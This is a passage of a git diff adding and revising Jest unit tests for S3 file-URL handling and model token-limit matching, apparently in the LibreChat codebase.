+ const mockResponse = { Body: mockStream };
+
+ mockS3Client.send.mockResolvedValue(mockResponse);
+
+ const result = await getS3FileStream(
+ {},
+ 'https://s3.amazonaws.com/test-bucket/images/user123/file.pdf',
+ );
+
+ expect(result).toBe(mockStream);
+ expect(mockS3Client.send).toHaveBeenCalledWith(expect.any(GetObjectCommand));
+ });
+
+ it('should handle errors when retrieving stream', async () => {
+ const error = new Error('Stream error');
+ mockS3Client.send.mockRejectedValue(error);
+
+ await expect(getS3FileStream({}, 'images/user123/file.pdf')).rejects.toThrow('Stream error');
+ expect(logger.error).toHaveBeenCalled();
+ });
+ });
+
+ describe('needsRefresh', () => {
+ it('should return false for non-signed URLs', () => {
+ const url = 'https://example.com/proxy/file.jpg';
+ const result = needsRefresh(url, 3600);
+ expect(result).toBe(false);
+ });
+
+ it('should return true for expired signed URLs', () => {
+ const now = new Date();
+ const past = new Date(now.getTime() - 3600 * 1000); // 1 hour ago
+ const dateStr = past
+ .toISOString()
+ .replace(/[-:]/g, '')
+ .replace(/\.\d{3}/, '');
+
+ const url = `https://s3.amazonaws.com/bucket/key?X-Amz-Signature=abc&X-Amz-Date=${dateStr}&X-Amz-Expires=60`;
+ const result = needsRefresh(url, 60);
+ expect(result).toBe(true);
+ });
+
+ it('should return false for URLs that are not close to expiration', () => {
+ const now = new Date();
+ const recent = new Date(now.getTime() - 10 * 1000); // 10 seconds ago
+ const dateStr = recent
+ .toISOString()
+ .replace(/[-:]/g, '')
+ .replace(/\.\d{3}/, '');
+
+ const url = `https://s3.amazonaws.com/bucket/key?X-Amz-Signature=abc&X-Amz-Date=${dateStr}&X-Amz-Expires=7200`;
+ const result = needsRefresh(url, 60);
+ expect(result).toBe(false);
+ });
+
+ it('should use custom refresh expiry when S3_REFRESH_EXPIRY_MS is set', () => {
+ process.env.S3_REFRESH_EXPIRY_MS = '30000'; // 30 seconds
+
+ const now = new Date();
+ const recent = new Date(now.getTime() - 31 * 1000); // 31 seconds ago
+ const dateStr = recent
+ .toISOString()
+ .replace(/[-:]/g, '')
+ .replace(/\.\d{3}/, '');
+
+ const url = `https://s3.amazonaws.com/bucket/key?X-Amz-Signature=abc&X-Amz-Date=${dateStr}&X-Amz-Expires=7200`;
+
+ // Need to reload the module to pick up the env var change
+ jest.resetModules();
+ const { needsRefresh: needsRefreshReloaded } = require('~/server/services/Files/S3/crud');
+
+ const result = needsRefreshReloaded(url, 60);
+ expect(result).toBe(true);
+ });
+
+ it('should return true for malformed URLs', () => {
+ const url = 'not-a-valid-url';
+ const result = needsRefresh(url, 3600);
+ expect(result).toBe(true);
+ });
+ });
+
+ describe('getNewS3URL', () => {
+ it('should generate a new URL from an existing S3 URL', async () => {
+ const currentURL =
+ 'https://s3.amazonaws.com/test-bucket/images/user123/file.jpg?signature=old';
+ const newURL = 'https://s3.amazonaws.com/test-bucket/images/user123/file.jpg?signature=new';
+
+ getSignedUrl.mockResolvedValue(newURL);
+
+ const result = await getNewS3URL(currentURL);
+
+ expect(result).toBe(newURL);
+ expect(getSignedUrl).toHaveBeenCalled();
+ });
+
+ it('should return undefined for invalid URLs', async () => {
+ const result = await getNewS3URL('invalid-url');
+ expect(result).toBeUndefined();
+ });
+
+ it('should handle errors gracefully', async () => {
+ const currentURL = 'https://s3.amazonaws.com/test-bucket/images/user123/file.jpg';
+ getSignedUrl.mockRejectedValue(new Error('Failed'));
+
+ const result = await getNewS3URL(currentURL);
+
+ expect(result).toBeUndefined();
+ expect(logger.error).toHaveBeenCalledWith('Error getting new S3 URL:', expect.any(Error));
+ });
+
+ it('should construct GetObjectCommand with correct key (no bucket name duplication)', async () => {
+ const currentURL =
+ 'https://s3.amazonaws.com/my-bucket/images/user123/file.jpg?X-Amz-Signature=old';
+ getSignedUrl.mockResolvedValue(
+ 'https://s3.amazonaws.com/test-bucket/images/user123/file.jpg?signature=new',
+ );
+
+ await getNewS3URL(currentURL);
+
+ expect(GetObjectCommand).toHaveBeenCalledWith(
+ expect.objectContaining({ Key: 'images/user123/file.jpg' }),
+ );
+ });
+ });
+
+ describe('refreshS3FileUrls', () => {
+ it('should refresh expired URLs for multiple files', async () => {
+ const now = new Date();
+ const past = new Date(now.getTime() - 3600 * 1000);
+ const dateStr = past
+ .toISOString()
+ .replace(/[-:]/g, '')
+ .replace(/\.\d{3}/, '');
+
+ const files = [
+ {
+ file_id: 'file1',
+ source: FileSources.s3,
+ filepath: `https://s3.amazonaws.com/bucket/images/user123/file1.jpg?X-Amz-Signature=abc&X-Amz-Date=${dateStr}&X-Amz-Expires=60`,
+ },
+ {
+ file_id: 'file2',
+ source: FileSources.s3,
+ filepath: `https://s3.amazonaws.com/bucket/images/user123/file2.jpg?X-Amz-Signature=def&X-Amz-Date=${dateStr}&X-Amz-Expires=60`,
+ },
+ ];
+
+ const newURL1 = 'https://s3.amazonaws.com/bucket/images/user123/file1.jpg?signature=new1';
+ const newURL2 = 'https://s3.amazonaws.com/bucket/images/user123/file2.jpg?signature=new2';
+
+ getSignedUrl.mockResolvedValueOnce(newURL1).mockResolvedValueOnce(newURL2);
+
+ const mockBatchUpdate = jest.fn().mockResolvedValue();
+
+ const result = await refreshS3FileUrls(files, mockBatchUpdate, 60);
+
+ expect(result[0].filepath).toBe(newURL1);
+ expect(result[1].filepath).toBe(newURL2);
+ expect(mockBatchUpdate).toHaveBeenCalledWith([
+ { file_id: 'file1', filepath: newURL1 },
+ { file_id: 'file2', filepath: newURL2 },
+ ]);
+ });
+
+ it('should skip non-S3 files', async () => {
+ const files = [
+ {
+ file_id: 'file1',
+ source: 'local',
+ filepath: '/local/path/file.jpg',
+ },
+ ];
+
+ const mockBatchUpdate = jest.fn();
+
+ const result = await refreshS3FileUrls(files, mockBatchUpdate);
+
+ expect(result).toEqual(files);
+ expect(mockBatchUpdate).not.toHaveBeenCalled();
+ });
+
+ it('should handle empty or invalid input', async () => {
+ const mockBatchUpdate = jest.fn();
+
+ const result1 = await refreshS3FileUrls(null, mockBatchUpdate);
+ expect(result1).toBe(null);
+
+ const result2 = await refreshS3FileUrls([], mockBatchUpdate);
+ expect(result2).toEqual([]);
+
+ expect(mockBatchUpdate).not.toHaveBeenCalled();
+ });
+
+ it('should handle errors for individual files gracefully', async () => {
+ const now = new Date();
+ const past = new Date(now.getTime() - 3600 * 1000);
+ const dateStr = past
+ .toISOString()
+ .replace(/[-:]/g, '')
+ .replace(/\.\d{3}/, '');
+
+ const files = [
+ {
+ file_id: 'file1',
+ source: FileSources.s3,
+ filepath: `https://s3.amazonaws.com/bucket/images/user123/file1.jpg?X-Amz-Signature=abc&X-Amz-Date=${dateStr}&X-Amz-Expires=60`,
+ },
+ ];
+
+ getSignedUrl.mockRejectedValue(new Error('Failed to refresh'));
+ const mockBatchUpdate = jest.fn();
+
+ await refreshS3FileUrls(files, mockBatchUpdate, 60);
+
+ expect(logger.error).toHaveBeenCalledWith('Error getting new S3 URL:', expect.any(Error));
+ expect(mockBatchUpdate).not.toHaveBeenCalled();
+ });
+ });
+
+ describe('refreshS3Url', () => {
+ it('should refresh an expired S3 URL', async () => {
+ const now = new Date();
+ const past = new Date(now.getTime() - 3600 * 1000);
+ const dateStr = past
+ .toISOString()
+ .replace(/[-:]/g, '')
+ .replace(/\.\d{3}/, '');
+
+ const fileObj = {
+ source: FileSources.s3,
+ filepath: `https://s3.amazonaws.com/bucket/images/user123/file.jpg?X-Amz-Signature=abc&X-Amz-Date=${dateStr}&X-Amz-Expires=60`,
+ };
+
+ const newURL = 'https://s3.amazonaws.com/bucket/images/user123/file.jpg?signature=new';
+ getSignedUrl.mockResolvedValue(newURL);
+
+ const result = await refreshS3Url(fileObj, 60);
+
+ expect(result).toBe(newURL);
+ });
+
+ it('should return original URL if not expired', async () => {
+ const fileObj = {
+ source: FileSources.s3,
+ filepath: 'https://example.com/proxy/file.jpg',
+ };
+
+ const result = await refreshS3Url(fileObj, 3600);
+
+ expect(result).toBe(fileObj.filepath);
+ expect(getSignedUrl).not.toHaveBeenCalled();
+ });
+
+ it('should return empty string for null input', async () => {
+ const result = await refreshS3Url(null);
+ expect(result).toBe('');
+ });
+
+ it('should return original URL for non-S3 files', async () => {
+ const fileObj = {
+ source: 'local',
+ filepath: '/local/path/file.jpg',
+ };
+
+ const result = await refreshS3Url(fileObj);
+
+ expect(result).toBe(fileObj.filepath);
+ });
+
+ it('should handle errors and return original URL', async () => {
+ const now = new Date();
+ const past = new Date(now.getTime() - 3600 * 1000);
+ const dateStr = past
+ .toISOString()
+ .replace(/[-:]/g, '')
+ .replace(/\.\d{3}/, '');
+
+ const fileObj = {
+ source: FileSources.s3,
+ filepath: `https://s3.amazonaws.com/bucket/images/user123/file.jpg?X-Amz-Signature=abc&X-Amz-Date=${dateStr}&X-Amz-Expires=60`,
+ };
+
+ getSignedUrl.mockRejectedValue(new Error('Refresh failed'));
+
+ const result = await refreshS3Url(fileObj, 60);
+
+ expect(result).toBe(fileObj.filepath);
+ expect(logger.error).toHaveBeenCalled();
+ });
+ });
+
+ describe('extractKeyFromS3Url', () => {
+ it('should extract key from a full S3 URL', () => {
+ const url = 'https://s3.amazonaws.com/test-bucket/images/user123/file.jpg';
+ const result = extractKeyFromS3Url(url);
+ expect(result).toBe('images/user123/file.jpg');
+ });
+
+ it('should extract key from a signed S3 URL with query parameters', () => {
+ const url =
+ 'https://s3.amazonaws.com/test-bucket/documents/user456/report.pdf?X-Amz-Signature=abc123&X-Amz-Date=20260107';
+ const result = extractKeyFromS3Url(url);
+ expect(result).toBe('documents/user456/report.pdf');
+ });
+
+ it('should extract key from S3 URL with different domain format', () => {
+ const url = 'https://test-bucket.s3.amazonaws.com/uploads/user789/image.png';
+ const result = extractKeyFromS3Url(url);
+ expect(result).toBe('uploads/user789/image.png');
+ });
+
+ it('should return key as-is if already properly formatted (3+ parts, no http)', () => {
+ const key = 'images/user123/file.jpg';
+ const result = extractKeyFromS3Url(key);
+ expect(result).toBe('images/user123/file.jpg');
+ });
+
+ it('should handle key with leading slash by removing it', () => {
+ const key = '/images/user123/file.jpg';
+ const result = extractKeyFromS3Url(key);
+ expect(result).toBe('images/user123/file.jpg');
+ });
+
+ it('should handle simple key without slashes', () => {
+ const key = 'simple-file.txt';
+ const result = extractKeyFromS3Url(key);
+ expect(result).toBe('simple-file.txt');
+ });
+
+ it('should handle key with only two parts', () => {
+ const key = 'folder/file.txt';
+ const result = extractKeyFromS3Url(key);
+ expect(result).toBe('folder/file.txt');
+ });
+
+ it('should throw error for empty input', () => {
+ expect(() => extractKeyFromS3Url('')).toThrow('Invalid input: URL or key is empty');
+ });
+
+ it('should throw error for null input', () => {
+ expect(() => extractKeyFromS3Url(null)).toThrow('Invalid input: URL or key is empty');
+ });
+
+ it('should throw error for undefined input', () => {
+ expect(() => extractKeyFromS3Url(undefined)).toThrow('Invalid input: URL or key is empty');
+ });
+
+ it('should handle URLs with encoded characters', () => {
+ const url = 'https://s3.amazonaws.com/test-bucket/images/user123/my%20file%20name.jpg';
+ const result = extractKeyFromS3Url(url);
+ expect(result).toBe('images/user123/my%20file%20name.jpg');
+ });
+
+ it('should handle deep nested paths', () => {
+ const url = 'https://s3.amazonaws.com/bucket/a/b/c/d/e/f/file.jpg';
+ const result = extractKeyFromS3Url(url);
+ expect(result).toBe('a/b/c/d/e/f/file.jpg');
+ });
+
+ it('should log debug message when extracting from URL', () => {
+ const url = 'https://s3.amazonaws.com/bucket/images/user123/file.jpg';
+ extractKeyFromS3Url(url);
+ expect(logger.debug).toHaveBeenCalledWith(
+ expect.stringContaining('[extractKeyFromS3Url] fileUrlOrKey:'),
+ );
+ });
+
+ it('should log fallback debug message for non-URL input', () => {
+ const key = 'simple-file.txt';
+ extractKeyFromS3Url(key);
+ expect(logger.debug).toHaveBeenCalledWith(
+ expect.stringContaining('[extractKeyFromS3Url] FALLBACK'),
+ );
+ });
+
+ it('should handle valid URLs that contain only a bucket', () => {
+ const url = 'https://s3.amazonaws.com/test-bucket/';
+ const result = extractKeyFromS3Url(url);
+ expect(logger.warn).toHaveBeenCalledWith(
+ expect.stringContaining(
+ '[extractKeyFromS3Url] Extracted key is empty after removing bucket name from URL: https://s3.amazonaws.com/test-bucket/',
+ ),
+ );
+ expect(result).toBe('');
+ });
+
+ it('should handle invalid URLs that contain only a bucket', () => {
+ const url = 'https://s3.amazonaws.com/test-bucket';
+ const result = extractKeyFromS3Url(url);
+ expect(logger.warn).toHaveBeenCalledWith(
+ expect.stringContaining(
+ '[extractKeyFromS3Url] Unable to extract key from path-style URL: https://s3.amazonaws.com/test-bucket',
+ ),
+ );
+ expect(result).toBe('');
+ });
+
+ // https://docs.aws.amazon.com/AmazonS3/latest/userguide/VirtualHosting.html
+
+ // Path-style requests
+ // https://docs.aws.amazon.com/AmazonS3/latest/userguide/VirtualHosting.html#path-style-access
+ // https://s3.region-code.amazonaws.com/bucket-name/key-name
+ it('should handle formatted according to Path-style regional endpoint', () => {
+ const url = 'https://s3.us-west-2.amazonaws.com/amzn-s3-demo-bucket1/dogs/puppy.jpg';
+ const result = extractKeyFromS3Url(url);
+ expect(result).toBe('dogs/puppy.jpg');
+ });
+
+ // virtual host style
+ // https://docs.aws.amazon.com/AmazonS3/latest/userguide/VirtualHosting.html#virtual-hosted-style-access
+ // https://bucket-name.s3.region-code.amazonaws.com/key-name
+ it('should handle formatted according to Virtual-hosted–style Regional endpoint', () => {
+ const url = 'https://amzn-s3-demo-bucket1.s3.us-west-2.amazonaws.com/dogs/puppy.png';
+ const result = extractKeyFromS3Url(url);
+ expect(result).toBe('dogs/puppy.png');
+ });
+
+ // Legacy endpoints
+ // https://docs.aws.amazon.com/AmazonS3/latest/userguide/VirtualHosting.html#VirtualHostingBackwardsCompatibility
+
+ // s3‐Region
+ // https://bucket-name.s3-region-code.amazonaws.com
+ it('should handle formatted according to s3‐Region', () => {
+ const url = 'https://amzn-s3-demo-bucket1.s3-us-west-2.amazonaws.com/puppy.png';
+ const result = extractKeyFromS3Url(url);
+ expect(result).toBe('puppy.png');
+
+ const testcase2 = 'https://amzn-s3-demo-bucket1.s3-us-west-2.amazonaws.com/cats/kitten.png';
+ const result2 = extractKeyFromS3Url(testcase2);
+ expect(result2).toBe('cats/kitten.png');
+ });
+
+ // Legacy global endpoint
+ // bucket-name.s3.amazonaws.com
+ it('should handle formatted according to Legacy global endpoint', () => {
+ const url = 'https://amzn-s3-demo-bucket1.s3.amazonaws.com/dogs/puppy.png';
+ const result = extractKeyFromS3Url(url);
+ expect(result).toBe('dogs/puppy.png');
+ });
+
+ it('should handle malformed URL and log error', () => {
+ const malformedUrl = 'https://invalid url with spaces.com/key';
+ const result = extractKeyFromS3Url(malformedUrl);
+
+ expect(logger.error).toHaveBeenCalledWith(
+ expect.stringContaining('[extractKeyFromS3Url] Error parsing URL:'),
+ );
+ expect(logger.error).toHaveBeenCalledWith(expect.stringContaining(malformedUrl));
+
+ expect(result).toBe(malformedUrl);
+ });
+
+ it('should return empty string for regional path-style URL with only bucket (no key)', () => {
+ const url = 'https://s3.us-west-2.amazonaws.com/my-bucket';
+ const result = extractKeyFromS3Url(url);
+ expect(result).toBe('');
+ expect(logger.warn).toHaveBeenCalledWith(
+ expect.stringContaining('[extractKeyFromS3Url] Unable to extract key from path-style URL:'),
+ );
+ });
+
+ it('should not log error when given a plain S3 key (non-URL input)', () => {
+ extractKeyFromS3Url('images/user123/file.jpg');
+ expect(logger.error).not.toHaveBeenCalled();
+ });
+
+ it('should strip bucket from custom endpoint URLs (MinIO, R2, etc.) using bucketName', () => {
+ // bucketName is the module-level const 'test-bucket', set before require at top of file
+ expect(
+ extractKeyFromS3Url('https://minio.example.com/test-bucket/images/user123/file.jpg'),
+ ).toBe('images/user123/file.jpg');
+ expect(
+ extractKeyFromS3Url(
+ 'https://abc123.r2.cloudflarestorage.com/test-bucket/images/user123/avatar.png',
+ ),
+ ).toBe('images/user123/avatar.png');
+ });
+
+ it('should use endpoint base path when AWS_ENDPOINT_URL and AWS_FORCE_PATH_STYLE are set', () => {
+ process.env.AWS_BUCKET_NAME = 'test-bucket';
+ process.env.AWS_ENDPOINT_URL = 'https://minio.example.com';
+ process.env.AWS_FORCE_PATH_STYLE = 'true';
+ jest.resetModules();
+ const { extractKeyFromS3Url: fn } = require('~/server/services/Files/S3/crud');
+
+ expect(fn('https://minio.example.com/test-bucket/images/user123/file.jpg')).toBe(
+ 'images/user123/file.jpg',
+ );
+
+ delete process.env.AWS_ENDPOINT_URL;
+ delete process.env.AWS_FORCE_PATH_STYLE;
+ });
+
+ it('should handle endpoint with a base path', () => {
+ process.env.AWS_BUCKET_NAME = 'test-bucket';
+ process.env.AWS_ENDPOINT_URL = 'https://example.com/storage/';
+ process.env.AWS_FORCE_PATH_STYLE = 'true';
+ jest.resetModules();
+ const { extractKeyFromS3Url: fn } = require('~/server/services/Files/S3/crud');
+
+ expect(fn('https://example.com/storage/test-bucket/images/user123/file.jpg')).toBe(
+ 'images/user123/file.jpg',
+ );
+
+ delete process.env.AWS_ENDPOINT_URL;
+ delete process.env.AWS_FORCE_PATH_STYLE;
+ });
+ });
+});
diff --git a/api/utils/tokens.spec.js b/api/utils/tokens.spec.js
index 18905d6d18..6cecdb95c8 100644
--- a/api/utils/tokens.spec.js
+++ b/api/utils/tokens.spec.js
@@ -200,6 +200,39 @@ describe('getModelMaxTokens', () => {
);
});
+ test('should return correct tokens for gpt-5.3 matches', () => {
+ expect(getModelMaxTokens('gpt-5.3')).toBe(maxTokensMap[EModelEndpoint.openAI]['gpt-5.3']);
+ expect(getModelMaxTokens('gpt-5.3-codex')).toBe(maxTokensMap[EModelEndpoint.openAI]['gpt-5.3']);
+ expect(getModelMaxTokens('openai/gpt-5.3')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['gpt-5.3'],
+ );
+ expect(getModelMaxTokens('gpt-5.3-2025-03-01')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['gpt-5.3'],
+ );
+ expect(getModelMaxTokens('gpt-5.3-preview')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['gpt-5.3'],
+ );
+ });
+
+ test('should return correct tokens for gpt-5.4 matches', () => {
+ expect(getModelMaxTokens('gpt-5.4')).toBe(maxTokensMap[EModelEndpoint.openAI]['gpt-5.4']);
+ expect(getModelMaxTokens('gpt-5.4-thinking')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['gpt-5.4'],
+ );
+ expect(getModelMaxTokens('openai/gpt-5.4')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['gpt-5.4'],
+ );
+ });
+
+ test('should return correct tokens for gpt-5.4-pro matches', () => {
+ expect(getModelMaxTokens('gpt-5.4-pro')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['gpt-5.4-pro'],
+ );
+ expect(getModelMaxTokens('openai/gpt-5.4-pro')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['gpt-5.4-pro'],
+ );
+ });
+
test('should return correct tokens for Anthropic models', () => {
const models = [
'claude-2.1',
@@ -237,16 +270,6 @@ describe('getModelMaxTokens', () => {
});
});
- // Tests for Google models
- test('should return correct tokens for exact match - Google models', () => {
- expect(getModelMaxTokens('text-bison-32k', EModelEndpoint.google)).toBe(
- maxTokensMap[EModelEndpoint.google]['text-bison-32k'],
- );
- expect(getModelMaxTokens('codechat-bison-32k', EModelEndpoint.google)).toBe(
- maxTokensMap[EModelEndpoint.google]['codechat-bison-32k'],
- );
- });
-
test('should return undefined for no match - Google models', () => {
expect(getModelMaxTokens('unknown-google-model', EModelEndpoint.google)).toBeUndefined();
});
@@ -279,6 +302,12 @@ describe('getModelMaxTokens', () => {
expect(getModelMaxTokens('gemini-3', EModelEndpoint.google)).toBe(
maxTokensMap[EModelEndpoint.google]['gemini-3'],
);
+ expect(getModelMaxTokens('gemini-3.1-pro-preview', EModelEndpoint.google)).toBe(
+ maxTokensMap[EModelEndpoint.google]['gemini-3.1'],
+ );
+ expect(getModelMaxTokens('gemini-3.1-pro-preview-customtools', EModelEndpoint.google)).toBe(
+ maxTokensMap[EModelEndpoint.google]['gemini-3.1'],
+ );
expect(getModelMaxTokens('gemini-2.5-pro', EModelEndpoint.google)).toBe(
maxTokensMap[EModelEndpoint.google]['gemini-2.5-pro'],
);
@@ -297,12 +326,6 @@ describe('getModelMaxTokens', () => {
expect(getModelMaxTokens('gemini-pro', EModelEndpoint.google)).toBe(
maxTokensMap[EModelEndpoint.google]['gemini'],
);
- expect(getModelMaxTokens('code-', EModelEndpoint.google)).toBe(
- maxTokensMap[EModelEndpoint.google]['code-'],
- );
- expect(getModelMaxTokens('chat-', EModelEndpoint.google)).toBe(
- maxTokensMap[EModelEndpoint.google]['chat-'],
- );
});
test('should return correct tokens for partial match - Cohere models', () => {
@@ -486,7 +509,19 @@ describe('getModelMaxTokens', () => {
test('should return correct max output tokens for GPT-5 models', () => {
const { getModelMaxOutputTokens } = require('@librechat/api');
- ['gpt-5', 'gpt-5-mini', 'gpt-5-nano', 'gpt-5-pro'].forEach((model) => {
+ const gpt5Models = [
+ 'gpt-5',
+ 'gpt-5.1',
+ 'gpt-5.2',
+ 'gpt-5.3',
+ 'gpt-5.4',
+ 'gpt-5.4-pro',
+ 'gpt-5-mini',
+ 'gpt-5-nano',
+ 'gpt-5-pro',
+ 'gpt-5.2-pro',
+ ];
+ for (const model of gpt5Models) {
expect(getModelMaxOutputTokens(model)).toBe(maxOutputTokensMap[EModelEndpoint.openAI][model]);
expect(getModelMaxOutputTokens(model, EModelEndpoint.openAI)).toBe(
maxOutputTokensMap[EModelEndpoint.openAI][model],
@@ -494,7 +529,7 @@ describe('getModelMaxTokens', () => {
expect(getModelMaxOutputTokens(model, EModelEndpoint.azureOpenAI)).toBe(
maxOutputTokensMap[EModelEndpoint.azureOpenAI][model],
);
- });
+ }
});
test('should return correct max output tokens for GPT-OSS models', () => {
@@ -511,6 +546,184 @@ describe('getModelMaxTokens', () => {
});
});
+describe('findMatchingPattern - longest match wins', () => {
+ test('should prefer longer matching key over shorter cross-provider pattern', () => {
+ const result = findMatchingPattern(
+ 'gpt-5.2-chat-2025-12-11',
+ maxTokensMap[EModelEndpoint.openAI],
+ );
+ expect(result).toBe('gpt-5.2');
+ });
+
+ test('should match gpt-5.2 tokens for date-suffixed chat variant', () => {
+ expect(getModelMaxTokens('gpt-5.2-chat-2025-12-11')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['gpt-5.2'],
+ );
+ });
+
+ test('should match gpt-5.2-pro over shorter patterns', () => {
+ expect(getModelMaxTokens('gpt-5.2-pro-chat-2025-12-11')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['gpt-5.2-pro'],
+ );
+ });
+
+ test('should match gpt-5-mini over gpt-5 for mini variants', () => {
+ expect(getModelMaxTokens('gpt-5-mini-chat-2025-01-01')).toBe(
+ maxTokensMap[EModelEndpoint.openAI]['gpt-5-mini'],
+ );
+ });
+
+ test('should prefer gpt-4-1106 over gpt-4 for versioned model names', () => {
+ const result = findMatchingPattern('gpt-4-1106-preview', maxTokensMap[EModelEndpoint.openAI]);
+ expect(result).toBe('gpt-4-1106');
+ });
+
+ test('should prefer gpt-4-32k-0613 over gpt-4-32k for exact versioned names', () => {
+ const result = findMatchingPattern('gpt-4-32k-0613', maxTokensMap[EModelEndpoint.openAI]);
+ expect(result).toBe('gpt-4-32k-0613');
+ });
+
+ test('should prefer claude-3-5-sonnet over claude-3', () => {
+ const result = findMatchingPattern(
+ 'claude-3-5-sonnet-20241022',
+ maxTokensMap[EModelEndpoint.anthropic],
+ );
+ expect(result).toBe('claude-3-5-sonnet');
+ });
+
+ test('should prefer gemini-2.0-flash-lite over gemini-2.0-flash', () => {
+ const result = findMatchingPattern(
+ 'gemini-2.0-flash-lite-preview',
+ maxTokensMap[EModelEndpoint.google],
+ );
+ expect(result).toBe('gemini-2.0-flash-lite');
+ });
+});
+
+describe('findMatchingPattern - bestLength selection', () => {
+ test('should return the longest matching key when multiple keys match', () => {
+ const tokensMap = { short: 100, 'short-med': 200, 'short-med-long': 300 };
+ expect(findMatchingPattern('short-med-long-extra', tokensMap)).toBe('short-med-long');
+ });
+
+ test('should return the longest match regardless of key insertion order', () => {
+ const tokensMap = { 'a-b-c': 300, a: 100, 'a-b': 200 };
+ expect(findMatchingPattern('a-b-c-d', tokensMap)).toBe('a-b-c');
+ });
+
+ test('should return null when no key matches', () => {
+ const tokensMap = { alpha: 100, beta: 200 };
+ expect(findMatchingPattern('gamma-delta', tokensMap)).toBeNull();
+ });
+
+ test('should return the single matching key when only one matches', () => {
+ const tokensMap = { alpha: 100, beta: 200, gamma: 300 };
+ expect(findMatchingPattern('beta-extended', tokensMap)).toBe('beta');
+ });
+
+ test('should match case-insensitively against model name', () => {
+ const tokensMap = { 'gpt-5': 400000 };
+ expect(findMatchingPattern('GPT-5-turbo', tokensMap)).toBe('gpt-5');
+ });
+
+ test('should select the longest key among overlapping substring matches', () => {
+ const tokensMap = { 'gpt-': 100, 'gpt-5': 200, 'gpt-5.2': 300, 'gpt-5.2-pro': 400 };
+ expect(findMatchingPattern('gpt-5.2-pro-2025-01-01', tokensMap)).toBe('gpt-5.2-pro');
+ expect(findMatchingPattern('gpt-5.2-chat-2025-01-01', tokensMap)).toBe('gpt-5.2');
+ expect(findMatchingPattern('gpt-5.1-preview', tokensMap)).toBe('gpt-5');
+ expect(findMatchingPattern('gpt-unknown', tokensMap)).toBe('gpt-');
+ });
+
+ test('should not be confused by a short key that appears later in the model name', () => {
+ const tokensMap = { 'model-v2': 200, v2: 100 };
+ expect(findMatchingPattern('model-v2-extended', tokensMap)).toBe('model-v2');
+ });
+
+ test('should handle exact-length match as the best match', () => {
+ const tokensMap = { 'exact-model': 500, exact: 100 };
+ expect(findMatchingPattern('exact-model', tokensMap)).toBe('exact-model');
+ });
+
+ test('should return null for empty model name', () => {
+ expect(findMatchingPattern('', { 'gpt-5': 400000 })).toBeNull();
+ });
+
+ test('should prefer last-defined key on same-length ties', () => {
+ const tokensMap = { 'aa-bb': 100, 'cc-dd': 200 };
+ // model name contains both 5-char keys; last-defined wins in reverse iteration
+ expect(findMatchingPattern('aa-bb-cc-dd', tokensMap)).toBe('cc-dd');
+ });
+
+ test('longest match beats short cross-provider pattern even when both present', () => {
+ const tokensMap = { 'gpt-5.2': 400000, 'chat-': 8187 };
+ expect(findMatchingPattern('gpt-5.2-chat-2025-12-11', tokensMap)).toBe('gpt-5.2');
+ });
+
+ test('should match case-insensitively against keys', () => {
+ const tokensMap = { 'GPT-5': 400000 };
+ expect(findMatchingPattern('gpt-5-turbo', tokensMap)).toBe('GPT-5');
+ });
+});
+
+describe('findMatchingPattern - iteration performance', () => {
+ let includesSpy;
+
+ beforeEach(() => {
+ includesSpy = jest.spyOn(String.prototype, 'includes');
+ });
+
+ afterEach(() => {
+ includesSpy.mockRestore();
+ });
+
+ test('exact match early-exits with minimal includes() checks', () => {
+ const openAIMap = maxTokensMap[EModelEndpoint.openAI];
+ const keys = Object.keys(openAIMap);
+ const lastKey = keys[keys.length - 1];
+ includesSpy.mockClear();
+ const result = findMatchingPattern(lastKey, openAIMap);
+ const exactCalls = includesSpy.mock.calls.length;
+
+ expect(result).toBe(lastKey);
+ expect(exactCalls).toBe(1);
+ });
+
+ test('bestLength check skips includes() for shorter keys after a long match', () => {
+ const openAIMap = maxTokensMap[EModelEndpoint.openAI];
+ includesSpy.mockClear();
+ findMatchingPattern('gpt-3.5-turbo-0301-test', openAIMap);
+ const longKeyCalls = includesSpy.mock.calls.length;
+
+ includesSpy.mockClear();
+ findMatchingPattern('gpt-5.3-chat-latest', openAIMap);
+ const shortKeyCalls = includesSpy.mock.calls.length;
+
+ // gpt-3.5-turbo-0301 (20 chars) matches early, then bestLength prunes most keys
+ // gpt-5.3 (7 chars) is short, so fewer keys are pruned by the length check
+ expect(longKeyCalls).toBeLessThan(shortKeyCalls);
+ });
+
+ test('last-defined keys are checked first in reverse iteration', () => {
+ const tokensMap = { first: 100, second: 200, third: 300 };
+ includesSpy.mockClear();
+ const result = findMatchingPattern('third', tokensMap);
+ const calls = includesSpy.mock.calls.length;
+
+ // 'third' is last key, found on first reverse check, exact match exits immediately
+ expect(result).toBe('third');
+ expect(calls).toBe(1);
+ });
+});
+
+describe('deprecated PaLM2/Codey model removal', () => {
+ test('deprecated PaLM2/Codey models no longer have token entries', () => {
+ expect(getModelMaxTokens('text-bison-32k', EModelEndpoint.google)).toBeUndefined();
+ expect(getModelMaxTokens('codechat-bison-32k', EModelEndpoint.google)).toBeUndefined();
+ expect(getModelMaxTokens('code-bison', EModelEndpoint.google)).toBeUndefined();
+ expect(getModelMaxTokens('chat-bison', EModelEndpoint.google)).toBeUndefined();
+ });
+});
+
describe('matchModelName', () => {
it('should return the exact model name if it exists in maxTokensMap', () => {
expect(matchModelName('gpt-4-32k-0613')).toBe('gpt-4-32k-0613');
@@ -606,10 +819,16 @@ describe('matchModelName', () => {
expect(matchModelName('gpt-5-pro-2025-01-30-0130')).toBe('gpt-5-pro');
});
- // Tests for Google models
- it('should return the exact model name if it exists in maxTokensMap - Google models', () => {
- expect(matchModelName('text-bison-32k', EModelEndpoint.google)).toBe('text-bison-32k');
- expect(matchModelName('codechat-bison-32k', EModelEndpoint.google)).toBe('codechat-bison-32k');
+ it('should return the closest matching key for gpt-5.3 matches', () => {
+ expect(matchModelName('openai/gpt-5.3')).toBe('gpt-5.3');
+ expect(matchModelName('gpt-5.3-codex')).toBe('gpt-5.3');
+ expect(matchModelName('gpt-5.3-2025-03-01')).toBe('gpt-5.3');
+ });
+
+ it('should return the closest matching key for gpt-5.4 matches', () => {
+ expect(matchModelName('openai/gpt-5.4')).toBe('gpt-5.4');
